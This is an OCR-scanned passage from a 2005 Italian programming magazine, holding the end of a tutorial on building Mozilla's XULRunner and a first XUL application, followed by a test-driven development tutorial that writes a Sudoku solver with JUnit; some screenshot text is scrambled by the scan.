più linguaggi tra loro differenti, può apparire 
inusuale a chi abitualmente sviluppa software 
mediante un solo linguaggio di programmazio- 
ne. Tuttavia la modularità e la portabilità che de- 
rivano da questo schema offrono un sicuro van- 
taggio, che sarà facile apprezzare dopo aver su- 
perato una prima fase di apprendimento. 
Altro strumento di fondamentale importanza è 
XPCOM: una versione cross platform di COM 
che permette ai programmi in JavaScript di usu- 
fruire di librerie scritte in C/C++. 



APPLICAZIONI 
STANDALONE 
E XULRUNNER 

Esistono due modi per sviluppare un'applicazio- 
ne, ma la scelta è fortemente determinata dal 
proposito finale. Si può decidere di costruire un 
programma da integrare in Mozilla, al pari del 



»> 48 /Dicembre 2005 



http://www.ioprogrammo.it 



Framework per lo sviluppo di applicazioni H T SISTEMA 



software di posta elettronica o di Chatzilla, ma si 
può anche preferire di non rimanere confinati e 
distribuire il proprio lavoro come se fosse un 
progetto a sé stante. 



File Edit Code 






Help 


^jfljxj 


È tf K ÉP 


X m e a .e # m | • 


e! f *» 


«J&l « &£ J5ÌJ Jb|^J 




,,« | Cd, | 1» 


St,tP,«| ».C„ki 


,.,n, | DIA • 


|"= lexregex.py |®«depH ► X 


TC-DlbDK 


1 -1 


II-» al 




1 


ties cbject 


$self->{COOKIES)-($doMai 

2i 


±1 


H 


.,d,splayToc,s 

+ r Include, an 
B'IW 


..... 


-^JHTM 

♦ _j imag 

♦ Jj ptlib 
+ _jtts 

Q§; chro 
ÉS te 

e sam 

IH elea 


e_projer_t.knf 




.. . 


... 


d 


LUI resi 

♦ 1 T,en 

=-• lnt(° 

* try 




■WtE 
+ DB.Error 
+ !DB_result 




- 


^Cootes 




- H3 Tren 


efresh Status 


+ 


BlHTTP::Coo 
fclaxragax 




otaakpo,* | Com 


napd Output | SCC Output fe Python She 


Ì 




i 












S ■ x 




Sprint "Hello, Horld" -| 

il 


Ready 




| ■ HTTP::Coo 


es ItUfl CP1252 |Ln:, Col:, |P 


,1 



Fig. 1: Komodo è un tipico esempio di software realiz- 
zato con XPFE 

Per far fronte a questo genere di necessità, gli svi- 
luppatori di Mozilla hanno dato vita a Xulrunner. 
Fondamentalmente Xulrunner è una versione 
semplificata di Mozilla: è dotato di tutti i suoi 
strumenti ad eccezione del software di naviga- 
zione e dei vari accessori. Essendo notevolmente 
più snello può essere installato assieme al pro- 
prio progetto andando a comporre un blocco 
unico e indipendente. Il pacchetto offre un pro- 
gramma eseguibile che permette di mandare in 
esecuzione le applicazioni di XPFE. 
Il primo passo da compiere per familiarizzare 
con Xulrunner è procurarselo. Da qualche mese 
sono disponibili versioni già compilate nel server 
ftp di Mozilla, tuttavia per sviluppare bisogna ef- 
fettuare personalmente il build dai sorgenti, così 
che i file ottenuti risultino pertinenti ai propri 
scopi e specifici per l'ambiente di lavoro scelto. 
Mozilla aderisce ad una filosofia orientata a 
Unix, quindi per lavorare sotto Windows sarà ne- 
cessario installare Cygwin (il noto emulatore di 
Unix) . Il programma di installazione automatico 
può essere scaricato all'indirizzo http://www .cy- 
gwin.com/setup.exe. Non è un'operazione parti- 
colarmente complicata, semplicemente assicu- 
ratevi di selezionare almeno i seguenti pacchetti: 

• CVS 

• cygutils 

• make 

• peri 

• Un editor di testi (ad esempio nano) 

È sconsigliato ricorrere ad un editor di testi per 
Windows a causa delle differenze nella codifica 
di alcuni caratteri. 
Adoperare Cygwin è semplice, specie per chi ha 



lavorato già sotto Linux. Ad ogni modo procede- 
remo con una guida passo passo che renderà 
semplice la compilazione. 

Prima di andare avanti con l'installazione sarà 
necessario decidere quale strumento adoperare 
per la compilazione. Mozilla ne supporta due: 
Visual C++ (versione 6.0 o superiore) e MinGW. 
La compilazione mediante MinGW è più lenta e 
dispendiosa in termini di risorse, mentre optan- 
do per Visual C++ potrete cavarvela in qualche 
oretta con un computer di medie prestazioni 
(potrebbe essere comunque necessario incre- 
mentare le dimensioni della memoria virtuale); 
se decidete di usare MinGW ricordatevi di speci- 
ficarlo durante l'installazione di Cygwin, selezio- 
nando i pacchetti necessari (si trovano all'inter- 
no della categoria Devet). Ovviamente potete an- 
che compilare il tutto sotto Linux o anche sotto 
Mac/OSX, come già detto il nodo centrale è che 
le applicazioni sviluppate con questa tecnica so- 
no completamente multipiattaforma. 
Nel caso non possediate Visual C++ ma vogliate 
comunque evitare MinGW, Microsoft consente 
da qualche tempo di scaricare gratuitamente la 
versione 2003 del compilatore. A tale proposito 
vi invito a fare riferimento alle istruzioni riporta- 
te all'indirizzo http://whereswaldo.mit.edu/mo- 
zilla/msvcfree. Se invece disponete della versione 
6 di Visual Studio, dovrete effettuare un aggior- 
namento mediante il Service Pack 5 ed installare 
il Visual C++ Processor Pack. 



OTTENIAMO I SORGENTI 

Nella seconda fase sarà necessario ottenere i sor- 
genti di Mozilla ricorrendo a CVS. Per chi non lo 
sapesse, CVS (Concurrent Versions System) è un 
sistema adoperato nel mondo open source per 
coordinare il lavoro di più persone ad uno stesso 
progetto. Tra le varie funzioni di cui dispone, CVS 
permette di ricavare l'ultima versione dei sor- 
genti direttamente dal server dove risiedono i file 
ai quali gli sviluppatori stanno lavorando. Alcune 
release di CVS presentano un bug e potrebbero 
darvi un messaggio di errore relativo ad un file di 
nome .cvspass: se dovesse accadere ignoratelo e 
proseguite. 

Per effettuare l'operazione lanciate la Bash shell 
di Cygwin e per prima cosa digitate 

export CVSROOT=:pserver:anonymous@ 

cvs-mirror.mozilla.org:/cvsroot. 

Ora la variabile CVSROOT contiene le informa- 
zioni che CVS impiegherà per reperire i file. 
Cosa molto importante, da tenere bene a mente, 
è che Mozilla non permette di effettuare il build 



xmi 



Mozilla è disponibile 
su una vastissima serie 
di piattaforme. Oltre 
Windows, Mac e Linux 
esistono versioni 
funzionanti per QNX 
ed altri sistemi. Basti 
visitare la pagina Web 
http://www.mozilla.Org/p 
orts/ per farsi un'idea! 




I TUOI APPUNTI 



http://www.ioprogrammo.it 



Dicembre 2005/ 49 ► 



SISTEMA T ■ Framework per lo sviluppo di applicazioni 




Per effettuare il build 

di Mozilla è necessario 

scaricare ed installare 

alcune librerie 

precompilate e dei tool 

raccolti in un file di 

nome wintools.zip. 

Ecco l'indirizzo: 

http://ftp.mozilla.0rg/p 

ub/mozilla.org/mozilla/ 

source/wintools.zip 



se il blocco dei sorgenti è situato dentro la direc- 
tory di Cygwin. Dovrete sceglierne una più "si- 
cura", ad esempio creando una cartella di nome 
work nel vostro hard disk e procedendo come 
segue. 

ed /cygdrive/c/work 
cvs login 

cvs co mozilla/client.mk 
ed mozilla 

Quando vi sarà richiesta la password da CVS in- 
serite anonymous. Come intuibile, Icygdrive è 
una directory che permette l'accesso ai vari dri- 
ve presenti nel computer, in questo caso e è il 
nostro hard disk ma si tratta di un esempio. Per 
chi non fosse abituato, faccio notare che in am- 
bienti Unix l'accesso alle cartelle è specificato 
con un carattere di slash ' I ' anziché di backslash 
'V. Un solo simbolo di slash non preceduto da 
alcun nome indica la directory principale, se 
preceduto da un simbolo di punto specifica in- 
vece quella corrente. Client.mk è uno script che 
controlla la procedura di checkout dei sorgenti 
ed il build vero e proprio. 

Prima di continuare è necessario creare un file di 
configurazione. Al momento si tratta di specifi- 
care soltanto il genere di progetto di nostro inte- 
resse, cioè Xulrunner. Il file da creare deve avere 
per nome mozeonfig e va situato dentro la car- 
tella mozilla, se avete seguito i vari passi dovre- 
ste già esservi. Nel caso nano sia installato pote- 
te scrivere 

nano mozeonfig 

per creare il file ed iniziare ad editarlo. Per usci- 
re da nano è sufficiente premere Ctrl-X, a questo 
punto vi sarà chiesto se desiderate salvare, pre- 
mete Fda tastiera, ed Invio dopo che apparirà il 
nome. Assicuratevi che mozeonfig contenga la 
seguente linea di testo: 



quale vi sono varie cartelle contenenti listati e 
script necessari a gestire i vari compiti. 



EFFETTUIAMO IL BUILD 

I preparativi non sono terminati: prima di parti- 
re con la compilazione, bisogna rendere dispo- 
nibili programmi ausiliari che Mozilla adopera 
per effettuare il build. 

Troverete il file wintools.zip nel CD della rivista, 
oppure potete scaricarlo ricorrendo all'indirizzo 
riportato in uno dei box laterali. Decomprimete 
l'archivio usando gli strumenti di Windows e sal- 
vate i file all'interno di una cartella del vostro 
hard disk, ad esempio C:\moztools. Lanciate un 
Command Prompt ed eseguite: 

set MOZ_TOOLS=c:\moztools 

ed c:\moztools\buildtools\windows 

install.bat 

Ricordate che state lavorando sotto un ambien- 
te di Unix emulato, dunque dovrete convertire 
alcuni file presenti in moztools da formato Dos a 
Unix, così da rimediare alle differenze di codifi- 
ca. A tale scopo, Cygwin offre un programma 
chiamato dos2unix. 
Lanciate una nuova Bash shell e scrivete: 

ed /cygdrive/c/moztools/include 
dos2unix *.h 
ed liblDL 
dos2unix *.h 

Tornate alla shell precedente e fate in modo che 
lo script per effettuare il build di Mozilla possa 
riconoscere i file che avete appena installato: 

export MOZ_TOOLS=/cygdrive/c/moztools 
PATH = $PATH:$MOZ_TOOLS/bin 
export PATH 



mk_add_options MOZ_CO_PROJECT=xulrunner 

L'istruzione mk_add_options permette di abi- 
litare le opzioni che saranno considerate duran- 
te lo svolgimento della procedura di make. 
Appena salvato il file, riprendiamo l'operazione 
dando il via al checkout. 

make -f client.mk checkout 

Il checkout richiederà tempo, pertanto è consi- 
gliata una connessione ad Internet veloce. Otte- 
nuti i sorgenti sarà possibile costatare quanto 
siano numerosi: i file del progetto si dispongono 
in un'ampia struttura ad albero all'interno della 



Così facendo, la variabile MOZ_TOOLS punta 
ora ai file necessari. Gli eseguibili vengono an- 
che aggiunti alla variabile PATH in modo che 
possano essere invocati direttamente. 
Di nuovo, sarà necessario creare un file mozeon- 
fig prima di lanciare make. Per farlo, da Bash 
shell, entrate tramite il comando ed nella cartel- 
la dove è stato effettuato il checkout completo 
dei sorgenti, che potrebbe essere c:\work\mozil- 
la, e procedete come sopra. Stavolta assicuratevi 
che il file contenga le seguenti istruzioni: 

mk_add_options MOZILLA_OFFICIAL=l 
mk_add_options MOZ_CO_PROJECT=xulrunner 
ac_add_options — enable-application=xulrunner 



»> 50 /Dicembre 2005 



http://www.ioprogrammo.it 



Framework per lo sviluppo di applicazioni HI T SISTEMA 



ac_add_options — disable-optimize 



ac_add_options — enable-debug 

Con queste righe attiviamo il progetto Xulrunner, 
indicando di voler ottenere una versione debug 
del programma senza ottimizzazioni. Il coman- 
do ac_add_options, in modo simile al preceden- 
te, abilita delle opzioni da considerare durante la 
fase di configurazione. 

Facciamo notare che se desiderate servirvi di 
MinGW, dovrete aggiungere anche il testo se- 
guente: 



# file di base per 


effettuare il build cor 


Mir 


GW gcc 


CC=gcc 


CXX=g++ 


CPP=cpp 


AS=as 


LD=ld 


# disabilitiamo le 

# gcc-on-win32 


opzioni 


incompatibili 


con 




ac_add_options - 


-disable 


■accessibility 






ac_add_options - 


-disable 


■activex 







Appena salvato il file, ogni cosa sarà al suo posto. 
Se avete scelto di lavorare con il compilatore di 
Microsoft, rimane soltanto da lanciare lo script 
vcvars32.bat che troverete dove avete installato il 
Visual C++ nel vostro disco rigido (si può invoca- 
re anche con una linea di comando). 
In seguito, per dare il via all'operazione, basterà 
digitare la seguente riga da bash shell: 

make -f client.mk build 



D D D D 

bin branding gre host 

D D D D 

idi include instali lib 

D D D D 



private 



public 



sdk 



xpi-stage 



Fig. 2: Effettuato il build, il contenuto della cartella 
dist si offre così 

Occorre prestare attenzione ad un bug che po- 
trebbe presentarsi durante lo svolgimento della 
procedura di make. Riguarda il file eseguibile di 
nome link.exe. Purtroppo il sistema non riesce a 
distinguere tra quello di Cygwin e l'altro utilizza- 
to da Visual C++ ed attribuisce precedenza al pri- 
mo. L'unica soluzione immediata consiste nell'e- 
liminare il file oppure nel rinominarlo, in modo 



da non creare confusione. Qualora abbiate pro- 
blemi a localizzarlo, potete ricorrere alle funzioni 
di Windows relative alla ricerca di file, oppure 
servirvi del comando locate di Cygwin (per que- 
st'ultimo è prima necessario eseguire updatedb 
in modo che sia costruito il database con i nomi 
dei file). In genere, un rm lbinllink.exe dovrebbe 
bastare. 



IL PRIMO PROGRAMMA 

L'operazione di build terrà impegnato il vostro 
PC per qualche ora. Appena terminata, troverete 
tutti i file che vi saranno necessari all'interno del- 
la cartella dist: file di inclusione, di libreria ed il 
tanto agognato xulrunner.exe situato in distlbin. 
Possiamo impiegarlo per lanciare un'applicazio- 
ne che costruiremo. Abbiamo accennato che un 
programma si articola in un insieme di cartelle 
disposte secondo una precisa gerarchia. Posizio- 
natevi all'interno di dist/bin e create la seguente 
struttura: 

apps/ 

simple/ 
chrome/ 
content/ 
simple/ 
defaults/ 
preferences/ 

Mediante un editor di testo create un file di no- 
me simple.xul e salvatelo all'interno di apps/sim- 
plelchromelcontent/simple. 
Il contenuto dovrà essere: 

<?xml version = "1.0"?> 

<?xml-stylesheet href = "chrome ://global/skin/" 

type="text/css"?> 

XUL, il linguaggio per le GUI di Mozilla, deriva da 
XML, dunque iniziamo il file con un'adeguata 
intestazione. La seconda riga indica quale stile 
grafico vogliamo adoperare, specificando un 
URL tramite il quale attingere ai file necessari. 
Successivamente: 

<window 
id = "simple" 
title = "Simple App" 
xmlns = "http://www.mozilla.org/keymaster 

/gatekeeper/there.is.only.xul"> 

Window indica la creazione di una nuova finestra 
di visualizzazione, id è un'etichetta di identifica- 
zione mentre title è una stringa contenente il tito- 
lo da assegnare alla finestra. Il listato continua: 




Visitando il sito del 
software Komodo è 
possibile farsi un'idea 
delle possibilità offerte 
dal framework di 
Mozilla. Si tratta di un 
completo IDE per 
linguaggi di script, 
l'indirizzo è 
http://www.activestate 
■com/Products/Komodo. 



http://www.ioprogrammo.it 



Dicembre 2005/ 51 ► 



SISTEMA T ■ Framework per lo sviluppo di applicazioni 




BIBLIOGRAFIA 



1 Creating Applications 

with Mozilla 

(O'Reilly & 

Associates, Ine) 



<vbox> 


<textbox id= 


'textbox" value= 


"Hello World" flex= 


"l"/> 


<button id = 


"button" label = 


"Submit"/> 




</vbox> 


</window> 



Ricorda molto il modo di comporre un form in 
HTML, vbox descrive un'area rettangolare ad 
orientamento verticale che conterrà un textbox 
(cioè un campo di stringa che utilizziamo per vi- 
sualizzare il consueto Hello World) ed un pulsan- 
te al quale assegniamo l'etichetta "Submit". 
Un altro file contents.rdf da creare con la mede- 
sima procedura e salvare nella stessa cartella do- 
vrà contenere le seguenti istruzioni: 

<?xml version = "1.0"?> 



<RDF:RDF xmlns:RDF= 



'http://www.w3.org 
/1999/02/22-rdf-syntax-ns#" 



xmlns:chrome= "http://www.mozilla.org 

/rdf/chrome#"> 
<RDF:Seq a bout="urn:mozilla: package :root"> 
<RDF:li resource="urn:mozilla: package :simple"/> 



</RDF:Seq> 



<RDF:Description about="urn:mozilla: package: simple" 
chrome: display Name="Simple App" 



chrome:author=" Mozilla" 



chrome :name= "simple" > 



</RDF:Description> 
</RDF:RDF> 

RDF è il linguaggio utilizzato da Mozilla per de- 
scrivere le risorse disponibili, possiamo distin- 
guere il titolo dell'applicazione, il suo nome e 
l'autore. Altro file, che chiameremo simple. mani- 
fest, va salvato nella cartella apps/simple/chrome 
e deve contenere la sola riga: 

content simple content/simple/ 

Creiamo ancora un file di nome simple.js da sal- 



vare dentro apps/simple/defaults/preferences: 

pref ("tool kit. defauItChromeURI", 

"chrome://simple/content/simple.xul"); 

Prepariamo un ultimo file di testo simple.xulapp 
da salvare in apps/simple 

[App] 

; Nome organizzazione 

Vendor=MozillaTest 

; Nome dell'applicazione 

Name=Simple 

Version=0.1.0 

; Build ID (timestamp). 

BuildID=2005031223 

[Gecko] 

; Versione minima dell'engine del browser necessaria 
MinVersion = 1.8 

Il programma è pronto. Aprite un Command 
Prompt ed entrate nella cartella ove è stato crea- 
to xulrunner.exe, digitate: 

xulrunner apps/simple/simple.xulapp 

Vi invitiamo ora ad osservare i file che compon- 
gono l'applicazione ed iniziare ad esaminarli 
mediante un editor di testi. La struttura è molto 
simile a quella osservata in precedenza nelle ap- 
plicazioni distribuite con Mozilla. 



: 

y 

l 








IllflK 


_|d|x| 




| Hello World 


5ubrmit 



















Fig. 3: Un semplice programma di Hello World esegui- 
to tramite Xulrunner 




Il bisogno di rendere il 
codice portabile verso 
più piattaforme ed il 
livello di complessità 
del progetto sono fat- 
tori che giocano un 
ruolo fondamentale 
nella selezione degli 
strumenti per la co- 
struzione di un softwa- 
re. Per rendere fattibi- 
le il compito, molto 
spesso il programma- 
tore è spinto a sceglie- 
re un framework che. 



poggiando su una base 
solida, offra gli stru- 
menti per fronteggiare 
le varie esigenze. Nel 
ricco panorama di al- 
ternative oggi disponi- 
bili XPFE si distingue 
per un insieme di ca- 
ratteristiche particolar- 
mente interessanti. 
Ad esempio, il numero 
di piattaforme coperte 
è assai vasto. 
Altro vantaggio, che 
avvertirà maggiormen- 



te chi ha esperienza 
con le tecnologie per il 
Web, è la possibilità di 
ricorrere ai linguaggi 
JavaScript, CSS e XML 
per costruire applica- 
zioni perfettamente 
funzionanti anche sen- 
za ricorrere necessaria- 
mente al C++ o ad altri 
linguaggi compilativi. 
Deriva così un'elevata 
portabilità e una 
notevole riduzione dei 
tempi di sviluppo. 



CONCLUSIONI 

Preparare il necessario per lavorare con il frame- 
work può richiedere tempo, tuttavia i risultati 
che si possono ottenere fanno dimenticare pre- 
sto la fatica. Ricordiamo che Mozilla è uno tra i 
più grandi progetti open source esistenti e il suo 
sviluppo procede a ritmo incessante. 
Il pericolo di nuovi bug o di cambiamenti da ver- 
sione a versione esiste sempre. Tuttavia vi invi- 
tiamo a non scoraggiare nel caso vi imbattiate in 
difficoltà durante la procedura di compilazione. 
Proprio per sua natura OpenSource e la quantità 
di documentazione sui vari cambiamenti è vera- 
mente alta. 

Andrea Ingegneri 



► 52 /Dicembre 2005 



http://www.ioprogrammo.it 



SISTEMA T ■ Test driven development 



Sviluppare 
il software 



M 



testando 



## 



Alla scoperta del "test driven development" una metodologia 
che consente di concentrarci sulle funzionalità di un'applicazione 
e sviluppare il codice quasi in modo automatico. Vediamo come 




□ CD □ WEB 

jdevelopmentzip 



==7™*"'""*"""""' 



n 




REQUISITI 



MMUIMM 



Conoscenze nell'uso di 
Eclipse e Java 



• Java, Eclipse, Junit 



\^^=3 






Tempo di realizzazione 



Da qualche tempo sta prendendo piede 
un nuovo processo di sviluppo softwa- 
re, chiamato "test driven development", 
cioè sviluppo guidato dai test. TDD prescrive che 
prima vengano scritti i test e che solo in seguito 
si scriva il codice che li deve soddisfare. I test de- 
vono essere eseguiti in maniera automatizzata in 
maniera da escludere errori umani e da dare 
responsi veloci ed affidabili. 
Scrivendo il test ci si concentra sulle specifiche 
di funzionamento dell'applicazione, senza pre- 
occuparsi dei problemi implementativi. Scriven- 
do poi i metodi per superare i test ci si concentra 
unicamente sull'implementazione avendo ben 
chiaro dove si deve arrivare. 
Perseguendo il TDD, si otterrà un insieme di test 
che ci permetteranno in seguito di agire sul codi- 
ce sorgente senza timore di comprometterne il 
funzionamento, poiché i test ci assicureranno 
che il comportamento del software non cambi. 
In questo articolo svilupperemo una sessione 
TDD utilizzando Java, Eclipse e JUnit, un frame- 
work per il test automatico open source incor- 
porato come plug in Eclipse stesso. 



SUDOKU 

Scopo dell'articolo sarà quello di applicare TTD 
e JUnit nello sviluppo di un risolutore di Sudoku. 
Per chi non conoscesse questo gioco consiglia- 
mo l'articolo di Fabio Grimaldi pubblicato nel 
numero 96 di ioProgrammo. 
Immaginiamo di avere la griglia di gioco vuota. 
Potenzialmente ogni cella potrebbe contenere 
tutti i numeri dall' 1 al 9. Tuttavia una volta fissa- 
to un numero in una cella, nella colonna, nella 
riga e nel settore che la contengono non potrà 
esserci alcuna altra cella con lo stesso numero. 
Si osservi anche che se in una riga ci sono più 
celle non valorizzate ma un numero può essere 
solo in una di queste celle, allora dovrà forzata- 
mente essere li. Per esempio se nella cella 3 della 



prima riga si possono avere i numeri 2, 4 e 7, 
nella cella 7 i numeri 2, 4, 6 e nella cella 8 i nume- 
ri 4 e 6' allora il 7 può stare solo ed esclusivamen- 
te nella cella 3. Si ricava che il 2 deve essere nella 
cella 7 e così via. 



PRIMI PASSI COm TDD 

Il risolutore deve avere un metodo per imposta- 
re le celle del gioco e per leggerne il valore. Scri- 
viamo prima di tutto un test che verifichi che il 
valore letto da una cella sia quello impostato. 

package ioprogrammo; 
import junit. framework.TestCase; 
public class GameTest extends TestCase { 
public void testCellAssignement(){ 

GameBoard game = new GameBoard(); 

game.setCell(3,4,5); 

assertEquals(5, game.getCellValue(3,4));} 
} 



Per sveltire le operazioni è possibile cliccare con 
il tasto destro sul progetto, scegliere new JUnit 
Test Case ed immettere le informazioni richieste. 
Una finestra di Eclipse chiederà se si desidera 
aggiungere il jar di JUnit al progetto. Rispondete 
affermativamente. 

Junit.framework è il package che contiene le 
classi di JUnit. La classe che contiene i test deve 
estendere TestCase. Ogni test è incluso in un me- 
todo il cui nome deve iniziare con "test" per per- 
mettere a JUnit di individuarlo tramite introspe- 
zione. La verifica di un valore si esegue con uno 
dei numerosi metodi assertXXX in cui general- 
mente il primo parametro è quello atteso, il se- 
condo il valore da testare. Nel caso in questione 
si afferma che il metodo getCellValue(3,4) deve 
restituire il valore 5. 

Ovviamente, il sorgente non viene compilato 
poiché manca la classe GameBoard. Provvedia- 
mo aggiungendo la più semplice implementa- 



». 54 /Dicembre 2005 



http://www.ioprogrammo.it 



Test driven development H T SISTEMA 



zione possibile perché il tutto sia compilabile. 



package ioprogrammo; 


public class GameBoard { 


public void setCell(int x 


int 


y, int va 


ue){} 


public int getCellValue(i 


nt x 


int y) { 




return 0; } 


} 



Ora il programma ed il test possono essere com- 
pilati e possiamo lanciare il test. Per fare ciò clic- 
cate con il tasto destro sulla classe che contiene i 
test, e scegliete run as > JUnit test. Ora con Win- 
dow > Show view > Other... > Java > JUnit viene 
visualizzata la finestrella di riepilogo dei test. La 
barra rossa visualizzata indica ovviamente un ri- 
sultato negativo poiché l'implementazione del 
metodo getCellQ non verifica il test. 
Per superare il test definiamo un attributo di tipo 
array bidimensionale di tipo int. I metodi setCell 
e getCell agiranno sull'array. 

private int grid[][] = new int[9][9]; 
public void setCell(int x, int y, int value) 

{grid[x][y]= value;} 
public int getCellValue(int x, int y) {return 

grid[x][y];} 



ne il codice che deve essere eseguito prima e do- 
po ogni test, nei metodi setUpO e tearDownQ. 
Riscriviamo la classe di test come segue. 

private GameBoard game = nuli; 

[•■■] 

public void setUp(){game = new GameBoard();} 
public void testCellAssignement(){ 



game.setCell(3,4,5); 



assertEquals(5, game. getCell Val ue(3,4)); 



EVITARE L'INSERIMENTO 
DI UHI BUG 

Vogliamo che su due celle della stessa riga non si 
possa impostare lo stesso valore, pena il solleva- 
mento di un'eccezione. Scriviamo il test. 

public void testCellAssignemntRowConstraint(){ 

try{ 

game. setCell(0, 0,4); game. setCell(8, 0,4); 
assertTrue(false); 
}catch(IllegalArgumentException iae){ 
assertTrue(true); 





I TUOI APPUNTI 



TEST DI UN'ECCEZIONE 

Desideriamo che il risolutore sollevi delle ecce- 
zioni nel caso gli indici della cella acceduta supe- 
rino i limiti dell' array. Scriviamo il relativo test. 

public void testCellAssignementOutOfBounds(){ 
GameBoard game = new GameBoard(); 

try{ 

game.setCell(10,4,5); 



assertTrue(false); 



}catch(IndexOutOfBoundsException ioobe){ 



assertTrue(true);} 



} 



Se l'esecuzione del test giunge ad assertTrue(fal- 
se) significa che l'eccezione non è stata sollevata 
e l'asserzione falsa fa fallire il test. Se invece l'e- 
secuzione giunge ad assertTrue(true) l'eccezione 
è stata sollevata come ci aspettavamo. 
È sufficiente rilanciare il test per accorgersi che la 
classe GameBoard lo supera già. 



PREPARAZIONE 



Per superare il test aggiungiamo al metodo set- 
CellQ un controllo sui valori della riga. Il metodo 
cambia in questa maniera. 



for(int 


col = 0; 


col< 


grid.length; col+ + ){ 




if(co 


l!=y){ 










if 


(grid[x 


][col] 


= = value){ 








throw 


new 


IllegalArgumentExceptior 


0; 


} 


} 


} 


grid[x 


][y]= 


/alue. 









La creazione dell'istanza di GameBoard è ripetu- 
ta in più test. JUnit permette di mettere in comu- 



Facciamo girare il test, che fallisce. L'implemen- 
tazione è quindi scorretta. Ad un'analisi attenta 
risulta che la condizione del terzo «f deve essere 
come segue: 

if (grid[col][y] == value){ 

Questo è un primo vantaggio dei test. Senza di 
essi avremmo inserito nei primi stadi di sviluppo 
del risolutore un bug che invece ora ci siamo 
risparmiati. 

Dobbiamo anche inserire i test per il controllo 
sulle colonne e sui settori. Lasciamo la definizio- 
ne del test sulle colonne al lettore e scriviamo il 
test che verifica che non si possano impostare 
numeri uguali nello stesso settore. 



http://www.ioprogrammo.it 



Dicembre 2005/ 55 ► 



SISTEMA T ■ Test driven development 




public void testCellAssignemntSectorConstraint(){ 

try{ 

game. setCell(0, 0,4); game.setCell(2,2,4); 
assertTrue(false); 
}catch(IllegalArgumentException iae){ 



package ioprogrammo; 



assertTrue(true); 



} 



Per superare il test aggiungiamo un ulteriore 
controllo al metodo setCellQ. 



int xStart = 


(x/3)*3; int xEnd 


= xStart + 3; 


int y Start = 


(y/3)*3; int yEnd 


= yStart + 3; 


for(int row= 


xStart; row<xEnd; 


row++){ 


for(int co 


=yStart; col<yEnd 


col+ + ){ 


if(row' 


=x && col!=y && 

getCellValue(row,col) ==value){ 


throw new IllegalArgumentException(); 
} 

} 


} 



AGIRE SUL CODICE 
SENZA TIMORE 

Ora aggiungiamo un altro test. Se in una cella 
impostiamo il valore 1, i possibili valori per le al- 
tre celle dovranno essere 2, 3, 4, 5, 6, 7, 8 e 9. 



public void testPossibleValues(){ 




game.setCell(0,l 


i); 






[...] 




assertFalse(game 


.isPossìbleVa 


ue(8,l 


4)); 




assertTrue(game 


isPossibleValue(8,l 


2)); 


[...] 




assertTrue(game 


isPossibleValue(8,l 


9)); 


} 



Per passare questo test aggiungiamo la classe 
Celi che ha la responsabilità di sapere quali nu- 
meri le possono essere assegnati. Trasformiamo 
l'array di int in un array di Celi. Le condizioni del 
tipo 

if (grid[col][y] == value) 

devono essere riscritte per usare oggetti di tipo 
Celi. Le Celi possono però avere un valore defini- 
to oppure una serie di valori possibili. Celi ha un 
attributo di tipo Set che memorizza i valori che 
gli possono essere assegnati che va inizializzato 
nel costruttore. Ci serve inoltre inserire un meto- 
do hasSingleValueO per sapere se è stato fissato 
un valore e un metodo getValueQ che può essere 
richiamato con successo solo se alla cella è stato 
assegnato un numero. 



import java.util.*; 



public class Celi { 



private Set possibleValue = nuli; 



Cell(){ 



possibleValue = new HashSet(); 



for(int 1=1; i<10; i+ + ){possibleValue.add(new 

Integer(i)); 



} 



} 



public boolean isPossibleValue(int value){ 
return possibleValue. contains(new 

Integer( value)); 



} 



public boolean hasSingleValueO { 



return (possibleValue. size() = = l); 



} 



public int getValue(){ 



if(hasSingleValue()) return ((Integer) 

possibleValue. iterator().next()).intValue(); 
throw new IllegalStateExceptìon(); 



} 



public void setValue(int value) { 



if(isPossibleValue(value)){ 



Collection e = new ArrayList(); 



c.add(new Integer(value)); 



possibleValue. retainAII(c); 



}else throw new IllegalArgumentException(""); 



} 



public void removePossibleValue(int value){ 
if(hasSingleValue() && getValue() = =value) 

throw new IllegalArgumentException(""); 
possibleValue. remove(new Integer( value)); 



} 



Eseguiamo i test ed otteniamo dei failure sui test 
testCellAssignementO e testPossibleValuesQ. 
L'errore è da ricercare nel metodo isPossibleVa- 
lue() della classe Celi. Qui riportiamo la prima 
parte dello stack trace al momento della solleva- 
zione dell'eccezione. 

java.lang.IllegalArgumentException: The celi cannot 
have the value 5 at ioprogrammo. Celi 
.setValue(Cell.java:42) at ioprogrammo. GameBoard 
.setCell(GameBoard.java:52) 
[...] 

Ad una più attenta analisi notiamo che nella 
sezione dei check dei valori pare siano state in- 
vertite le variabili indice "col" e "row". 
Cambiamo quindi in 

grid [col] [row]. removePossibleValue( value); 

Inoltre una porzione del metodo setValueQ va 
inoltre così riscritta 



»> 56 /Dicembre 2005 



http://www.ioprogrammo.it 



Test driven development H T SISTEMA 



int xStart = (x/3)*3; 



int xEnd = xStart + 3; 



int yStart = (y/3)*3; 



int yEnd = yStart + 3; 



for(int col=xStart; col<xEnd; col++){ 
for(int row=yStart; row<yEnd; row++){ 



if(col!=x && row!=y){ 



ìf(grid[col][row].hasSingleValue() && 

grid[col][row].isPossibleValue(value)){ 
throw new IllegalArgumentExceptìon("The 
value " + value + " is already assigned 
to another celi in the sector."); 



} 



grid[col][row].removePossibleValue(value); 



} 



Ora i test hanno tutti successo. Si noti come gra- 
zie ai test abbiamo inserito la nuova classe Celi 
modificando in maniera apprezzabile il codice 
senza particolari problemi, riuscendo a garantire 
la correttezza del sistema, almeno per quanto ri- 
guarda i casi coperti dai test. Come abbiamo vi- 
sto, avventurarsi in tale trasformazione senza i 
test avrebbe portato ad errori che probabilmente 
solo con difficoltà sarebbero stati scovati in se- 
guito. 



AUMENTARE LA PROPRIA 
CONFIDENZA NEL CODICE 

Scriviamo un test che descriva il meccanismo di 
deduzione di valori nelle celle, descritto nell'a- 
pertura dell'articolo. 

Il test è il seguente. Segnando i numeri assegnati 
nel test su uno schema Sudoku su carta ci si 
accorge che l'unico valore possibile per la cella 
8,0 è proprio 7. 



public void testDeduceCellValueInRow(){ 


game. setCell(0, 0,1); game. setCell(l, 0,2) 




game. setCell(3, 0,3); game.setCell(4,0,4) 




game. setCell(6, 0,5); game. setCell(7, 0,6) 




game.setCell( 1,1,7); game.setCell(4,2,7) 




game.solve(); 


assertEquals(7, game.getCellValue(8,0)); 


} 



Per passare il test definiamo il metodo deduce- 
OnRowQ nella classe GameBoard. 
Il metodo scorre tutte le celle di una riga. Se trova 
una cella che supporta un numero allora lo ag- 
giunge alla Map, in associazione con la cella. Se 
trova un'altra cella che supporta lo stesso nume- 
